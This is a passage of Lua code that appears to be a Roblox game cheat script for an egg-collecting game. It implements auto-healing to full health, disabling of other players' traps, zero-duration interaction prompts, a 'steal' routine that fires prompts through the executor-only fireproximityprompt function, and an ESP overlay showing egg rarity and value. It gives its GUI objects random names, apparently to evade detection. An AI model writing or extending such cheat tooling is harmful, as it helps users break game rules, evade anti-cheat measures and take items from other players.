fn50()
end
end,
})
end
do
local flag6 = false
local tbl23 = {}
local function fn30()
for _, v27 in ipairs(tbl23) do
pcall(function()
v27:Disconnect()
end)
end
table.clear(tbl23)
end
local function fn31(arg)
local parent = flag6
if flag6 then
parent = arg.Parent
end
parent = parent and arg.Health > 0
if parent and arg.Health < arg.MaxHealth then
pcall(function()
arg.Health = arg.MaxHealth
end)
end
end
local function fn32(arg)
fn30()
if not flag6 or not arg then
return
end
local humanoid = arg:FindFirstChildOfClass("Humanoid") or arg:WaitForChild("Humanoid", 5)
if
not flag6
or not humanoid
or not humanoid:IsA("Humanoid")
or arg ~= localPlayer.Character
then
return
end
table.insert(
tbl23,
humanoid.HealthChanged:Connect(function()
fn31(humanoid)
end)
)
table.insert(
tbl23,
RunService.Heartbeat:Connect(function()
fn31(humanoid)
end)
)
fn31(humanoid)
end
local connection = localPlayer.CharacterAdded:Connect(function(arg)
if flag6 then
task.defer(fn32, arg)
end
end)
local v27 = tbl4.OnHumanoidChanged(function()
local character = flag6
if flag6 then
character = localPlayer.Character
end
if character then
fn32(localPlayer.Character)
end
end)
fn6(function()
flag6 = false
connection:Disconnect()
v27:Disconnect()
fn30()
end)
flag6 = true
if localPlayer.Character then
task.spawn(fn32, localPlayer.Character)
end
end
do
local v27 = nil
local flag6 = true
local tbl23 = {}
local tbl24 = {}
local function fn30(arg)
if arg:IsA("BasePart") and tbl23[arg] == nil then
tbl23[arg] = arg.CanTouch
pcall(function()
arg.CanTouch = false
end)
end
end
local function fn31(arg)
if not flag6 or not arg.Parent then
return
end
local name = localPlayer.Name
if arg:GetAttribute("Owner") == name then
return
end
fn30(arg)
for _, descendant in ipairs(arg:GetDescendants()) do
fn30(descendant)
end
table.insert(
tbl24,
arg.DescendantAdded:Connect(function(arg2)
if flag6 then
fn30(arg2)
end
end)
)
end
local function fn32()
for _, v28 in ipairs(CollectionService:GetTagged("PlacedTrap")) do
fn31(v28)
end
end
local function fn33()
for k, v28 in pairs(tbl23) do
if k.Parent then
pcall(function()
k.CanTouch = v28
end)
end
end
table.clear(tbl23)
end
table.insert(
tbl24,
CollectionService:GetInstanceAddedSignal("PlacedTrap"):Connect(function(arg)
task.defer(fn31, arg)
end)
)
v27 = v26:CreateToggle({
Name = "Anti Trap",
Note = "Traps from other players cannot catch you",
Default = true,
Callback = function()
flag6 = tbl4.Toggle(v27, true) == true
if flag6 then
fn32()
else
fn33()
end
end,
})
fn32()
fn6(function()
flag6 = false
for _, v28 in ipairs(tbl24) do
pcall(function()
v28:Disconnect()
end)
end
table.clear(tbl24)
fn33()
end)
end
do
local v27 = nil
local str5 = "CarryAreaEgg"
local tbl23 = { ClaimLostPart = true }
local tbl24 = {}
local connection = nil
local connection2 = nil
local function fn30(arg)
if not arg:IsA("ProximityPrompt") or tbl23[arg.Name] then
return
end
if tbl24[arg] == nil then
if arg.HoldDuration <= 0 and arg.Name ~= str5 then
return
end
tbl24[arg] = arg.HoldDuration
end
if arg.HoldDuration ~= 0 then
pcall(function()
arg.HoldDuration = 0
end)
end
end
local function fn31(arg)
if arg.Name ~= "SmartPromptPart" then
return nil
end
local carryAreaEgg = arg:FindFirstChild("CarryAreaEgg")
local isProximityPrompt = carryAreaEgg and carryAreaEgg:IsA("ProximityPrompt")
if not isProximityPrompt then
carryAreaEgg = isProximityPrompt
end
local v28 = carryAreaEgg or nil
return v28
end
tbl4.PromptHold = function(arg)
local v28 = tbl24[arg]
if type(v28) == "number" then
return v28
end
return arg.HoldDuration
end
local function fn32()
if connection then
return
end
connection2 = ProximityPromptService.PromptShown:Connect(function(arg)
if tbl4.Toggle(v27, true) then
fn30(arg)
end
end)
for _, child in ipairs(workspace:GetChildren()) do
local v28 = fn31(child)
if v28 then
fn30(v28)
end
end
connection = workspace.ChildAdded:Connect(function(arg)
if arg.Name ~= "SmartPromptPart" then
return
end
task.defer(function()
local carryAreaEgg = arg:FindFirstChild("CarryAreaEgg")
or arg:WaitForChild("CarryAreaEgg", 2)
if
carryAreaEgg
and carryAreaEgg:IsA("ProximityPrompt")
and tbl4.Toggle(v27, true)
then
fn30(carryAreaEgg)
end
end)
end)
end
local function fn33()
for k, v28 in pairs(tbl24) do
if k and k.Parent then
pcall(function()
k.HoldDuration = v28
end)
end
end
table.clear(tbl24)
if connection then
connection:Disconnect()
connection = nil
end
if connection2 then
connection2:Disconnect()
connection2 = nil
end
end
tbl4.PressStealPrompt = function(arg)
if typeof(fireproximityprompt) ~= "function" or not arg then
return false
end
local v28 = nil
local huge = math.huge
for _, child in ipairs(workspace:GetChildren()) do
local v29 = fn31(child)
if v29 and child:IsA("BasePart") then
local magnitude = (child.Position - arg).Magnitude
if magnitude < huge then
v28 = v29
huge = magnitude
end
end
end
if not v28 or huge > 14 then
return false
end
if tbl4.Toggle(v27, true) then
pcall(function()
v28.HoldDuration = 0
end)
end
local ok = pcall(fireproximityprompt, v28)
if ok and v28.HoldDuration > 0 then
task.wait(v28.HoldDuration + 0.1)
end
return ok
end
tbl2.Add(function()
if tbl4.Toggle(v27, true) then
fn32()
for k in pairs(tbl24) do
if not k.Parent then
tbl24[k] = nil
elseif k.HoldDuration ~= 0 then
pcall(function()
k.HoldDuration = 0
end)
end
end
elseif next(tbl24) ~= nil or connection then
fn33()
end
return false
end)
v27 = v26:CreateToggle({
Name = "Instant Prompts",
Default = true,
Callback = function()
tbl2.Wake()
end,
})
fn6(fn33)
end
local espSection
espSection = tbl4.EspSection
local tbl23
local function fn30(arg, arg2)
local ok, result = pcall(Font.new, arg, arg2, Enum.FontStyle.Normal)
local v27 = ok and result or nil
return v27
end
tbl23 = {
MainFont = fn30("rbxasset://fonts/families/GothamSSm.json", Enum.FontWeight.ExtraBold),
StatusFont = fn30("rbxasset://fonts/families/FredokaOne.json", Enum.FontWeight.Regular),
Sequence = function(arg)
local v27 = table.create(#arg)
for i, v28 in ipairs(arg) do
v27[i] = ColorSequenceKeypoint.new(v28[1], v28[2])
end
return ColorSequence.new(v27)
end,
}
do
local fromRGB = Color3.fromRGB
local sequence = tbl23.Sequence
local tbl24 = {}
local tbl25 = {}
local tbl26 = {}
local tbl27 = { 0, fromRGB(255, 231, 158) }
local tbl28 = { 0.4, fromRGB(255, 196, 66) }
local tbl29 = { 1, fromRGB(214, 142, 12) }
tbl26[1] = tbl27
tbl26[2] = tbl28
tbl26[3] = tbl29
tbl25.Text = sequence(tbl26)
local tbl30 = {}
local tbl31 = { 0, fromRGB(122, 76, 0) }
local tbl32 = { 0.55, fromRGB(62, 38, 0) }
local tbl33 = { 1, fromRGB(20, 12, 0) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl30[3] = tbl33
tbl25.Stroke = sequence(tbl30)
tbl25.Outline = fromRGB(255, 232, 152)
tbl24.Gold = tbl25
local tbl34 = {}
local tbl35 = {}
local tbl36 = { 0, fromRGB(255, 198, 132) }
local tbl37 = { 0.4, fromRGB(255, 146, 40) }
local tbl38 = { 1, fromRGB(206, 92, 0) }
tbl35[1] = tbl36
tbl35[2] = tbl37
tbl35[3] = tbl38
tbl34.Text = sequence(tbl35)
local tbl39 = {}
local tbl40 = { 0, fromRGB(112, 54, 0) }
local tbl41 = { 0.55, fromRGB(56, 27, 0) }
local tbl42 = { 1, fromRGB(18, 8, 0) }
tbl39[1] = tbl40
tbl39[2] = tbl41
tbl39[3] = tbl42
tbl34.Stroke = sequence(tbl39)
tbl34.Outline = fromRGB(255, 194, 112)
tbl24.Orange = tbl34
local tbl43 = {}
local tbl44 = {}
local tbl45 = { 0, fromRGB(255, 105, 105) }
local tbl46 = { 0.4, fromRGB(255, 28, 40) }
local tbl47 = { 1, fromRGB(184, 0, 18) }
tbl44[1] = tbl45
tbl44[2] = tbl46
tbl44[3] = tbl47
tbl43.Text = sequence(tbl44)
local tbl48 = {}
local tbl49 = { 0, fromRGB(124, 0, 15) }
local tbl50 = { 0.55, fromRGB(61, 0, 9) }
local tbl51 = { 1, fromRGB(18, 0, 3) }
tbl48[1] = tbl49
tbl48[2] = tbl50
tbl48[3] = tbl51
tbl43.Stroke = sequence(tbl48)
tbl43.Outline = fromRGB(255, 128, 138)
tbl24.Red = tbl43
local tbl52 = {}
local tbl53 = {}
local tbl54 = { 0, fromRGB(170, 255, 160) }
local tbl55 = { 0.45, fromRGB(58, 255, 55) }
local tbl56 = { 1, fromRGB(20, 109, 0) }
tbl53[1] = tbl54
tbl53[2] = tbl55
tbl53[3] = tbl56
tbl52.Text = sequence(tbl53)
local tbl57 = {}
local tbl58 = { 0, fromRGB(10, 52, 6) }
local tbl59 = { 1, fromRGB(3, 16, 0) }
tbl57[1] = tbl58
tbl57[2] = tbl59
tbl52.Stroke = sequence(tbl57)
tbl52.Outline = fromRGB(58, 255, 55)
tbl24.Accent = tbl52
local tbl60 = {}
local tbl61 = {}
local tbl62 = { 0, fromRGB(255, 255, 255) }
local tbl63 = { 0.5, fromRGB(222, 222, 222) }
local tbl64 = { 1, fromRGB(255, 255, 255) }
tbl61[1] = tbl62
tbl61[2] = tbl63
tbl61[3] = tbl64
tbl60.Text = sequence(tbl61)
local tbl65 = {}
local tbl66 = { 0, fromRGB(8, 8, 8) }
local tbl67 = { 1, fromRGB(8, 8, 8) }
tbl65[1] = tbl66
tbl65[2] = tbl67
tbl60.Stroke = sequence(tbl65)
tbl60.Outline = fromRGB(255, 255, 255)
tbl24.Sheen = tbl60
tbl23.Palettes = tbl24
end
tbl23.PaletteFromColor = function(arg)
local color = Color3.new(1, 1, 1)
local color2 = Color3.new(0, 0, 0)
local tbl24 = {}
local sequence = tbl23.Sequence
local tbl25 = {}
local tbl26 = { 0, arg:Lerp(color, 0.5) }
local tbl27 = { 0.4, arg:Lerp(color, 0.1) }
local tbl28 = { 1, arg:Lerp(color2, 0.25) }
tbl25[1] = tbl26
tbl25[2] = tbl27
tbl25[3] = tbl28
tbl24.Text = sequence(tbl25)
local sequence2 = tbl23.Sequence
local tbl29 = {}
local tbl30 = { 0, arg:Lerp(color2, 0.55) }
local tbl31 = { 0.55, arg:Lerp(color2, 0.75) }
local tbl32 = { 1, arg:Lerp(color2, 0.92) }
tbl29[1] = tbl30
tbl29[2] = tbl31
tbl29[3] = tbl32
tbl24.Stroke = sequence2(tbl29)
tbl24.Outline = arg:Lerp(color, 0.25)
return tbl24
end
tbl23.SizeScale = 1
local tbl24 = {}
tbl23.OnSizeChanged = function(arg)
table.insert(tbl24, arg)
end
tbl23.SetSizeScale = function(arg)
if tbl23.SizeScale == arg then
return
end
tbl23.SizeScale = arg
for _, v27 in ipairs(tbl24) do
pcall(v27)
end
end
tbl23.RowHeight = function(arg)
local currentCamera = workspace.CurrentCamera
local y = currentCamera and currentCamera.ViewportSize.Y or 1080
local n19 = math.clamp(y * 0.014, 13, 19)
local max = math.max
local floor = math.floor
arg = arg or tbl23.SizeScale
return max(6, floor(n19 * arg))
end
tbl23.ScaledWidth = function(arg, arg2)
local max = math.max
local floor = math.floor
local sizeScale = arg2 or tbl23.SizeScale
return max(30, floor(arg * sizeScale))
end
tbl23.CreateRuntime = function()
local screenGui = Instance.new("ScreenGui")
screenGui.Name = fn5()
screenGui.Archivable = false
screenGui.ResetOnSpawn = false
screenGui.IgnoreGuiInset = true
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
screenGui.DisplayOrder = 48
screenGui.Parent = v3
return screenGui
end
tbl23.CreateTag = function(arg, arg2)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Name = fn5()
billboardGui.AlwaysOnTop = true
billboardGui.LightInfluence = 0
billboardGui.MaxDistance = arg2
local frame = Instance.new("Frame")
frame.Name = fn5()
frame.BackgroundTransparency = 1
frame.BorderSizePixel = 0
frame.Size = UDim2.fromScale(1, 1)
frame.Parent = billboardGui
local uiListLayout = Instance.new("UIListLayout")
uiListLayout.Name = fn5()
uiListLayout.FillDirection = Enum.FillDirection.Vertical
uiListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
uiListLayout.VerticalAlignment = Enum.VerticalAlignment.Center
uiListLayout.SortOrder = Enum.SortOrder.LayoutOrder
uiListLayout.Parent = frame
billboardGui.Parent = arg
return billboardGui, frame
end
tbl23.CreateTextRow = function(arg, arg2, arg3, arg4)
local frame = Instance.new("Frame")
frame.Name = fn5()
frame.BackgroundTransparency = 1
frame.BorderSizePixel = 0
frame.Size = UDim2.fromScale(1, arg4)
frame.LayoutOrder = arg3
frame.Parent = arg
local function fn31(arg5)
local textLabel = Instance.new("TextLabel")
textLabel.Name = fn5()
textLabel.BackgroundTransparency = 1
textLabel.Size = UDim2.fromScale(1, 1)
textLabel.Text = ""
textLabel.TextScaled = true
textLabel.TextStrokeTransparency = 1
textLabel.TextXAlignment = Enum.TextXAlignment.Center
textLabel.TextYAlignment = Enum.TextYAlignment.Center
textLabel.ZIndex = arg5
if arg2 then
textLabel.FontFace = arg2
else
textLabel.Font = Enum.Font.GothamBold
end
textLabel.Parent = frame
return textLabel
end
local v27 = fn31(2)
v27.Position = UDim2.fromOffset(1, 1)
v27.TextColor3 = Color3.new(0, 0, 0)
v27.TextTransparency = 0.1
local v28 = fn31(3)
v28.TextColor3 = Color3.new(1, 1, 1)
local uiStroke = Instance.new("UIStroke")
uiStroke.Name = fn5()
uiStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Contextual
uiStroke.LineJoinMode = Enum.LineJoinMode.Round
uiStroke.Color = Color3.new(1, 1, 1)
uiStroke.Transparency = 0.05
uiStroke.Thickness = pcall(function()
uiStroke.StrokeSizingMode = Enum.StrokeSizingMode.ScaledSize
end) and 0.05 or 1.2
uiStroke.Parent = v28
local uiGradient = Instance.new("UIGradient")
uiGradient.Name = fn5()
uiGradient.Rotation = 90
uiGradient.Parent = uiStroke
local uiGradient2 = Instance.new("UIGradient")
uiGradient2.Name = fn5()
uiGradient2.Rotation = 90
uiGradient2.Parent = v28
return {
Holder = frame,
Shadow = v27,
Label = v28,
StrokeGradient = uiGradient,
TextGradient = uiGradient2,
Palette = nil,
}
end
tbl23.SetRow = function(arg, arg2, arg3)
if arg.Label.Text ~= arg2 then
arg.Label.Text = arg2
arg.Shadow.Text = arg2
end
if arg.Palette ~= arg3 then
arg.Palette = arg3
arg.TextGradient.Color = arg3.Text
local textGradient = arg.TextGradient
textGradient.Rotation = arg3.Rotation or 90
arg.StrokeGradient.Color = arg3.Stroke
end
end
tbl23.ReadToggle = function(arg, arg2)
if type(arg) ~= "table" then
return arg2 == true
end
local ok, result = pcall(function()
local controller = arg._controller
local flag6 = type(controller) == "table"
and type(controller.GetValue) == "function"
and controller.GetValue()
return flag6
end)
if ok and type(result) == "boolean" then
return result
end
for _, v27 in ipairs({ "Get", "GetValue" }) do
local ok2, result2 = pcall(function()
return arg[v27]
end)
local v28 = result2
ok2 = ok2 and type(v28) == "function"
if ok2 then
local ok3, result3 = pcall(v28, arg)
ok3 = ok3 and type(result3) == "boolean"
if ok3 then
return result3
end
end
end
return arg2 == true
end
tbl23.SyncSoon = function(arg)
arg()
task.delay(0.35, arg)
end
tbl23.GetGuardAreas = function()
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
world = world and world:FindFirstChild("GuardAreas")
return world
end
tbl23.FindGuardRoot = function(arg)
local humanoidRootPart = arg:FindFirstChild("HumanoidRootPart")
if humanoidRootPart and humanoidRootPart:IsA("BasePart") then
return humanoidRootPart
end
if arg.PrimaryPart then
return arg.PrimaryPart
end
return arg:FindFirstChildWhichIsA("BasePart", true)
end
tbl23.WatchGuards = function(arg)
local tbl25 = {}
local v27 = tbl23.GetGuardAreas()
if not v27 then
return tbl25
end
local function fn31(arg2)
local guard = arg2:FindFirstChild("Guard")
if guard and guard:IsA("Model") then
arg(arg2.Name, guard)
end
table.insert(
tbl25,
arg2.ChildAdded:Connect(function(arg3)
if arg3.Name == "Guard" and arg3:IsA("Model") then
arg(arg2.Name, arg3)
end
end)
)
end
for _, child in ipairs(v27:GetChildren()) do
fn31(child)
end
table.insert(tbl25, v27.ChildAdded:Connect(fn31))
return tbl25
end
tbl23.DisconnectAll = function(arg)
for _, v27 in ipairs(arg) do
pcall(function()
v27:Disconnect()
end)
end
table.clear(arg)
end
local tbl25, tbl26
do
local n19
n19 = 18
tbl25 = {
"Icon",
"Name",
"Rarity",
"Mutation",
"Value",
"Weight",
"Size",
"Sell Price",
"Distance",
"Area",
"State",
}
tbl26 = { "Icon", "Name", "Value" }
local tbl27
tbl27 = { "Off", "Rare Only", "All Shown" }
local tbl28
tbl28 = { Icon = 3.2, Name = 1.35, Rarity = 1.2, Mutation = 1, Value = 1.1, Info = 1 }
local v27
local function fn31()
local ok, result =
pcall(Font.new, "rbxassetid://12187365977", Enum.FontWeight.Bold, Enum.FontStyle.Normal)
local statusFont = ok and result or tbl23.StatusFont
return statusFont
end
v27 = fn31()
local v28
do
local sequence = tbl23.Sequence
local tbl29 = {}
local tbl30 = { 0, Color3.fromRGB(255, 255, 255) }
local tbl31 = { 0.2, Color3.fromRGB(206, 212, 224) }
local tbl32 = { 0.42, Color3.fromRGB(74, 80, 94) }
local tbl33 = { 0.58, Color3.fromRGB(42, 46, 56) }
local tbl34 = { 0.78, Color3.fromRGB(158, 166, 182) }
local tbl35 = { 1, Color3.fromRGB(250, 252, 255) }
tbl29[1] = tbl30
tbl29[2] = tbl31
tbl29[3] = tbl32
tbl29[4] = tbl33
tbl29[5] = tbl34
tbl29[6] = tbl35
v28 = sequence(tbl29)
end
local v29
v29 = tbl23.PaletteFromColor(Color3.fromRGB(77, 255, 122))
local tbl29
tbl29 = {}
do
local sequence = tbl23.Sequence
local tbl30 = {}
local tbl31 = { 0, Color3.fromRGB(255, 255, 255) }
local tbl32 = { 0.5, Color3.fromRGB(222, 238, 255) }
local tbl33 = { 1, Color3.fromRGB(255, 255, 255) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl30[3] = tbl33
tbl29.Text = sequence(tbl30)
end
do
local sequence = tbl23.Sequence
local tbl30 = {}
local tbl31 = { 0, Color3.fromRGB(8, 8, 8) }
local tbl32 = { 1, Color3.fromRGB(8, 8, 8) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl29.Stroke = sequence(tbl30)
end
tbl29.Outline = Color3.fromRGB(255, 255, 255)
local n20
n20 = 0.8
local n21
n21 = 4.5
local n22
n22 = 20
local n23
n23 = 0.002
local tbl30
tbl30 = { Golden = tbl23.Palettes.Gold }
do
local tbl31 = {}
local sequence = tbl23.Sequence
local tbl32 = {}
local tbl33 = { 0, Color3.fromRGB(255, 255, 255) }
local tbl34 = { 0.45, Color3.fromRGB(214, 222, 232) }
local tbl35 = { 1, Color3.fromRGB(150, 160, 175) }
tbl32[1] = tbl33
tbl32[2] = tbl34
tbl32[3] = tbl35
tbl31.Text = sequence(tbl32)
local sequence2 = tbl23.Sequence
local tbl36 = {}
local tbl37 = { 0, Color3.fromRGB(60, 66, 78) }
local tbl38 = { 0.55, Color3.fromRGB(30, 33, 40) }
local tbl39 = { 1, Color3.fromRGB(10, 11, 14) }
tbl36[1] = tbl37
tbl36[2] = tbl38
tbl36[3] = tbl39
tbl31.Stroke = sequence2(tbl36)
tbl31.Outline = Color3.fromRGB(214, 222, 232)
tbl30.Silver = tbl31
end
tbl30.Sakura = tbl23.PaletteFromColor(Color3.fromRGB(255, 158, 216))
tbl30.GreatBloom = tbl23.PaletteFromColor(Color3.fromRGB(124, 255, 196))
tbl30.Boss = tbl23.PaletteFromColor(Color3.fromRGB(255, 122, 122))
tbl30.Monstrous = tbl23.PaletteFromColor(Color3.fromRGB(192, 139, 255))
local tbl31
tbl31 = {}
do
local sequence = tbl23.Sequence
local tbl32 = {}
local tbl33 = { 0, Color3.fromRGB(255, 107, 107) }
local tbl34 = { 0.2, Color3.fromRGB(255, 179, 107) }
local tbl35 = { 0.4, Color3.fromRGB(255, 240, 107) }
local tbl36 = { 0.6, Color3.fromRGB(107, 255, 138) }
local tbl37 = { 0.8, Color3.fromRGB(107, 200, 255) }
local tbl38 = { 1, Color3.fromRGB(185, 107, 255) }
tbl32[1] = tbl33
tbl32[2] = tbl34
tbl32[3] = tbl35
tbl32[4] = tbl36
tbl32[5] = tbl37
tbl32[6] = tbl38
tbl31.Text = sequence(tbl32)
end
do
local sequence = tbl23.Sequence
local tbl32 = {}
local tbl33 = { 0, Color3.fromRGB(20, 20, 30) }
local tbl34 = { 1, Color3.fromRGB(8, 8, 12) }
tbl32[1] = tbl33
tbl32[2] = tbl34
tbl31.Stroke = sequence(tbl32)
end
tbl31.Outline = Color3.fromRGB(255, 255, 255)
tbl31.Rotation = 0
tbl30.Rainbow = tbl31
local v30
v30 = tbl23.PaletteFromColor(Color3.fromRGB(143, 227, 255))
local rfEggWorldAskFieldEggSnapshot
rfEggWorldAskFieldEggSnapshot = networking:FindFirstChild("RF/EggWorld/AskFieldEggSnapshot")
local n24
n24 = 0
local tbl32
tbl32 = {
Eggs = false,
MinRarity = 5,
Specific = {},
MutationSet = {},
AnyMutation = false,
NoMutation = false,
Info = {},
Highlight = tbl27[1],
MinValue = 0,
HighlightMin = 6,
MaxDistance = math.huge,
SizeScale = 0.75,
FixedSize = false,
OwnBase = true,
}
for _, v31 in ipairs(tbl26) do
tbl32.Info[v31] = true
end
local tbl33
tbl33 = {}
local tbl34, v31, flag6, n25, n26, flag7, v32, n27, fn32
local tbl35 = {}
tbl34 = {}
v31 = nil
flag6 = false
n25 = 0
n26 = 0
flag7 = false
v32 = nil
n27 = 0
fn32 = function(arg)
local v33 = tbl35[arg]
if v33 then
return v33
end
local directory = tbl.Assets and tbl.Assets.Directory
local flag8 = type(directory) == "table" and directory[arg]
local rarity = type(flag8) == "table" and type(flag8.Rarity) == "table" and flag8.Rarity
or nil
local color = rarity and typeof(rarity.Color) == "Color3" and rarity.Color
or Color3.new(1, 1, 1)
local v34 = tbl23.PaletteFromColor(color)
local rarityGradient = rarity and rarity.RarityGradient
if rarity and typeof(rarityGradient) ~= "Instance" then
rarityGradient = ReplicatedStorage:FindFirstChild("Assets")
rarityGradient = rarityGradient and rarityGradient:FindFirstChild("UI")
rarityGradient = rarityGradient and rarityGradient:FindFirstChild("RarityGradients")
if rarityGradient then
local v35 = rarityGradient
local findFirstChild = v35.FindFirstChild
local v36 = tostring
local id = rarity._id or rarity.DisplayName or ""
rarityGradient = findFirstChild(v35, v36(id))
end
rarityGradient = rarityGradient and rarityGradient:FindFirstChild("RarityGradient")
rarityGradient = rarityGradient or nil
end
if typeof(rarityGradient) == "Instance" and rarityGradient:IsA("UIGradient") then
v34.Text = rarityGradient.Color
v34.Rotation = rarityGradient.Rotation
end
local str5
if rarity then
local v35 = tostring
local displayName = rarity.DisplayName or rarity._id or ""
str5 = v35(displayName)
else
str5 = rarity
end
str5 = str5 or ""
local tbl36
if string.upper(str5) == "SECRET" then
tbl36 = { Text = v28, Stroke = v34.Stroke, Outline = v34.Outline, Rotation = 90 }
else
tbl36 = v34
end
local tbl37 = {}
if rarity then
local v35 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
rarity = v35(rarityNumber)
end
tbl37.Number = rarity or 0
tbl37.Name = str5
tbl37.Color = color
tbl37.Palette = v34
tbl37.RarityPalette = tbl36
local flag9 = type(flag8) == "table"
if flag9 then
local v35 = tostring
local displayName = flag8.DisplayName or arg
flag9 = v35(displayName)
end
flag9 = flag9 or tostring(arg)
tbl37.DisplayName = flag9
tbl37.Icon = type(flag8) == "table" and flag8.Icon or nil
tbl37.EarningRate = type(flag8) == "table" and tonumber(flag8.EarningRate) or 0
tbl35[arg] = tbl37
return tbl37
end
local fn33, fn34, fn35, fn36, tbl36, fn37
do
local function fn38(arg)
local areaEggSlotsClient = workspace:FindFirstChild("AreaEggSlotsClient")
areaEggSlotsClient = areaEggSlotsClient and areaEggSlotsClient:FindFirstChild(arg)
if areaEggSlotsClient and areaEggSlotsClient:IsA("Model") then
local hitbox = areaEggSlotsClient:FindFirstChild("Hitbox")
local isBasePart = hitbox and hitbox:IsA("BasePart") and hitbox or nil
return areaEggSlotsClient, isBasePart
end
return nil, nil
end
fn33 = function()
if not v32 or not v32.Parent then
v32 = tbl23.CreateRuntime()
end
end
local function fn39(arg)
local n28 = tonumber(arg) or 0
local tbl37 = { "", "K", "M", "B", "T", "Qa", "Qi" }
local n29 = 1
while math.abs(n28) >= 1000 and n29 < #tbl37 do
n28 = n28 / 1000
n29 = n29 + 1
end
local format = string.format
local str5 = n29 == 1 and "%.0f%s" or "%.2f%s"
return format(str5, n28, tbl37[n29])
end
local function fn40(arg)
local currentCamera = workspace.CurrentCamera
if not currentCamera then
return tbl32.MaxDistance
end
return math.min(
tbl32.MaxDistance,
arg
* currentCamera.ViewportSize.Y
/ 2
* n22
* math.tan(math.rad(currentCamera.FieldOfView) * 0.5)
)
end
local function fn41(arg)
local tbl37 = {
{ arg.IconHolder, tbl28.Icon, arg.ShowIcon },
{ arg.NameRow.Holder, tbl28.Name, arg.ShowName },
{ arg.RarityRow.Holder, tbl28.Rarity, arg.ShowRarity },
{ arg.MutationRow.Holder, tbl28.Mutation, arg.ShowMutation },
{ arg.ValueRow.Holder, tbl28.Value, arg.ShowValue },
{ arg.ExtraRow.Holder, tbl28.Info, arg.ShowExtra },
}
local n28 = 0
for _, v33 in ipairs(tbl37) do
if v33[3] then
n28 = n28 + v33[2]
end
end
local n29 = math.max(n28, 1)
for _, v33 in ipairs(tbl37) do
v33[1].Visible = v33[3]
local v34 = v33[1]
local fromScale = UDim2.fromScale
local n30 = v33[3] and v33[2] / n29 or 0
v34.Size = fromScale(1, n30)
end
local v33 = tbl23.ScaledWidth(120, tbl32.SizeScale)
local n30 = math.max(1, math.floor(tbl23.RowHeight(tbl32.SizeScale) * n29))
if arg.Width ~= v33 or arg.Height ~= n30 or arg.Fixed ~= tbl32.FixedSize then
arg.Width = v33
arg.Height = n30
arg.Fixed = tbl32.FixedSize
if tbl32.FixedSize then
local n31 = n21 * tbl32.SizeScale
arg.Billboard.Size = UDim2.fromScale(n31, n31 * n30 / v33)
arg.Billboard.MaxDistance = fn40(n31)
else
arg.Billboard.Size = UDim2.fromOffset(v33, n30)
arg.Billboard.MaxDistance = tbl32.MaxDistance
end
end
end
fn34 = function(arg)
arg.Width = nil
fn41(arg)
end
local function fn42()
local v33, v34 = tbl23.CreateTag(v32, tbl32.MaxDistance)
local frame = Instance.new("Frame")
frame.Name = fn5()
frame.BackgroundTransparency = 1
frame.BorderSizePixel = 0
frame.LayoutOrder = 0
frame.Parent = v34
local imageLabel = Instance.new("ImageLabel")
imageLabel.Name = fn5()
imageLabel.AnchorPoint = Vector2.new(0.5, 1)
imageLabel.BackgroundTransparency = 1
imageLabel.Position = UDim2.fromScale(0.5, 1)
imageLabel.Size = UDim2.fromScale(1, 1)
imageLabel.ScaleType = Enum.ScaleType.Fit
imageLabel.Parent = frame
local uiAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")
uiAspectRatioConstraint.Name = fn5()
uiAspectRatioConstraint.AspectRatio = 1
uiAspectRatioConstraint.DominantAxis = Enum.DominantAxis.Height
uiAspectRatioConstraint.Parent = imageLabel
local tbl37 = {
Billboard = v33,
IconHolder = frame,
Icon = imageLabel,
NameRow = tbl23.CreateTextRow(v34, tbl23.MainFont, 1, 0.4),
RarityRow = tbl23.CreateTextRow(v34, v27, 2, 0.2),
MutationRow = tbl23.CreateTextRow(v34, tbl23.MainFont, 3, 0.2),
ValueRow = tbl23.CreateTextRow(v34, tbl23.MainFont, 4, 0.2),
ExtraRow = tbl23.CreateTextRow(v34, tbl23.MainFont, 5, 0.2),
Highlight = nil,
Anchor = nil,
CFrame = nil,
Width = nil,
Height = nil,
ShowIcon = false,
ShowName = true,
ShowRarity = false,
ShowMutation = false,
ShowValue = false,
ShowExtra = false,
}
fn41(tbl37)
return tbl37
end
local function fn43(arg)
if arg.Highlight then
arg.Highlight:Destroy()
arg.Highlight = nil
n27 = n27 - 1
end
end
local function fn44(arg, arg2)
local n28 = tonumber(arg.AssetScale) or 1
local n29 = n28 > 5 and (n28 / 5) ^ 1.2 * 19.637875755794113 or n28 ^ 1.85
local mutations = tbl.Mutations
local flag8 = type(mutations) == "table" and type(mutations.EarningsFor) == "function"
local n30 = 1
if flag8 then
local v33 = pcall
local earningsFor = mutations.EarningsFor
local mutations2 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag9, v34 = v33(earningsFor, mutations2)
flag9 = flag9 and type(v34) == "number"
local n31 = 1
if flag9 then
n30 = v34
else
n30 = n31
end
end
return arg2.EarningRate * n29 * n30
end
local function fn45()
local tbl37 = {}
local eggState = tbl.EggState
local placedEggRenders = workspace:FindFirstChild("PlacedEggRenders")
if
not placedEggRenders
or type(eggState) ~= "table"
or type(eggState.ReadOwnerEggs) ~= "function"
then
return tbl37
end
local ok, result = pcall(eggState.ReadOwnerEggs, localPlayer.UserId)
local v33 = result
if not ok or type(v33) ~= "table" then
return tbl37
end
local str5 = tostring(localPlayer.UserId)
local tbl38 = {}
for _, child in ipairs(placedEggRenders:GetChildren()) do
if string.find(child.Name, str5, 1, true) then
local n28 = #tbl38 + 1
tbl38[n28] = child
end
end
for k, v34 in pairs(v33) do
if
type(v34) == "table"
and v34.Placement ~= nil
and type(v34.AssetCategory) == "string"
then
local str6 = tostring(k)
local v35 = nil
for _, v36 in ipairs(tbl38) do
if
v36.Name == str6
or string.find(v36.Name, str6, 1, true)
or v36:GetAttribute("Uid") == str6
then
v35 = v36
break
end
end
if v35 then
local ok2, result2 = pcall(function()
local pivot = v35:IsA("Model") and v35:GetPivot() or v35.CFrame
return pivot
end)
local mutations = type(v34.Mutations) == "table" and v34.Mutations or {}
